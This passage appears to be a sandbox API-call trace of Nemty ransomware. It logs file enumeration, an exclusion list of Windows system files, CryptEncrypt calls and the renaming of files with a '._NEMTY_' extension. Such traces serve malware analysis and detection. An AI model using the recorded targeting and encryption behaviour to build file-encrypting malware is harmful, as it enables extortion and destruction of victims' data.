nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.620] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.620] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.629] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.629] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.639] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.639] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.645] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.645] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.645] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.650] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.651] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0127.651] CloseHandle (hObject=0xffffffff) returned 0 [0127.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403d0 [0127.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0127.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0127.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0127.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0127.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0127.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340478 [0127.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0127.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0127.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0127.651] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-docked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-docked.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-docked.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-docked.png._nemty_kgobjgd_")) returned 0 [0127.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0127.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0127.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0127.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0127.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0127.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0127.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0127.651] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29714061, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x29714061, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x29714061, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xaa66, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="base-undocked-2.png", cAlternateFileName="")) returned 1 [0127.651] lstrcmpiW (lpString1="base-undocked-2.png", lpString2=".") returned 1 [0127.651] lstrcmpiW (lpString1="base-undocked-2.png", lpString2="..") returned 1 [0127.651] lstrcmpiW (lpString1="base-undocked-2.png", lpString2="...") returned 1 [0127.651] lstrcmpiW (lpString1="base-undocked-2.png", lpString2="windows") returned -1 [0127.651] lstrcmpiW (lpString1="base-undocked-2.png", lpString2="$RECYCLE.BIN") returned 1 [0127.651] lstrcmpiW (lpString1="base-undocked-2.png", lpString2="rsa") returned -1 [0127.651] lstrcmpiW (lpString1="base-undocked-2.png", lpString2="NTDETECT.COM") returned -1 [0127.652] lstrcmpiW (lpString1="base-undocked-2.png", lpString2="ntldr") returned -1 [0127.652] lstrcmpiW (lpString1="base-undocked-2.png", lpString2="MSDOS.SYS") returned -1 [0127.652] lstrcmpiW (lpString1="base-undocked-2.png", lpString2="IO.SYS") returned -1 [0127.652] lstrcmpiW (lpString1="base-undocked-2.png", lpString2="boot.ini") returned -1 [0127.652] lstrcmpiW (lpString1="base-undocked-2.png", lpString2="boot.ini") returned -1 [0127.652] lstrcmpiW (lpString1="base-undocked-2.png", lpString2="AUTOEXEC.BAT") returned 1 [0127.652] lstrcmpiW (lpString1="base-undocked-2.png", lpString2="ntuser.dat") returned -1 [0127.652] lstrcmpiW (lpString1="base-undocked-2.png", lpString2="desktop.ini") returned -1 [0127.652] lstrcmpiW (lpString1="base-undocked-2.png", lpString2="CONFIG.SYS") returned -1 [0127.652] lstrcmpiW (lpString1="base-undocked-2.png", lpString2="RECYCLER") returned -1 [0127.652] lstrcmpiW (lpString1="base-undocked-2.png", lpString2="BOOTSECT.BAK") returned -1 [0127.652] lstrcmpiW (lpString1="base-undocked-2.png", lpString2="bootmgr") returned -1 [0127.652] lstrcmpiW (lpString1="base-undocked-2.png", lpString2="programdata") returned -1 [0127.652] lstrcmpiW (lpString1="base-undocked-2.png", lpString2="appdata") returned 1 [0127.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0127.652] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-undocked-2.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0127.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.652] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-undocked-2.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="base-undocked-2.png", lpUsedDefaultChar=0x0) returned 19 [0127.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0127.652] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-undocked-2.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0127.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.652] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-undocked-2.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="base-undocked-2.png", lpUsedDefaultChar=0x0) returned 19 [0127.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0127.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0127.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0127.652] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-undocked-2.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0127.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.652] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-undocked-2.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="base-undocked-2.png", lpUsedDefaultChar=0x0) returned 19 [0127.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0127.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0127.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-undocked-2.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0127.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0127.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-undocked-2.png", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="base-undocked-2.png", lpUsedDefaultChar=0x0) returned 19 [0127.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0127.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401b8 [0127.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0127.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0127.653] Sleep (dwMilliseconds=0x5) [0127.674] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xffbe39b0, dwHighDateTime=0x1d561e7)) [0127.674] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xffbe39b0, dwHighDateTime=0x1d561e7)) [0127.674] GetLastError () returned 0x5 [0127.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0127.674] GetLastError () returned 0x5 [0127.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0127.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0127.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0127.674] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0127.674] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0127.675] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0127.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340328 [0127.675] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340328, pcchString=0x653e91c | out: pszString="lCo8EPMUX+dvuzOMff77uGEUWgEse4UhPKvw+GtEGrpPcHZo0pphVe0EOHhJkc2i\r\n/uJgKl86K2lu+uiw/pODmWJIDsszDtLQz4kWZYMtbhBILGypj7Ezdho0y2UVoWPM\r\n8Gz8LUZxkmRVbHzX0vUHeCh2ZxiCp95SpQJIMcbMTKpFwdnLb95EFcY03ifuT67T\r\n8JJ6l3rzvTd1/uMvUQjmnTSadiKdIUj/k8vWQsKfKSG7JMMnIONlDi1HIai9vMdb\r\ntXbnljYQdwlel14IVSngA3rlv+MQ/Aor6lYHXNscxS5tKR721nlynYfcQVY7E3qD\r\n1BInNyaAMY3Wc0UN9w21sw==\r\n", pcchString=0x653e91c) returned 1 [0127.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0127.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0127.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0127.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0127.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340328 [0127.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0127.675] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-undocked-2.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-undocked-2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0127.676] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0127.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0127.676] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.676] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.685] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.685] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.685] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.685] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.694] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.694] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.704] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.704] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.704] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.704] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.713] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.713] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.722] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.722] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.732] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.732] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.741] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.741] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.750] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.750] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.750] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.750] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.759] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.759] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.760] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.760] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.778] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.778] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.778] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.778] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.784] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, 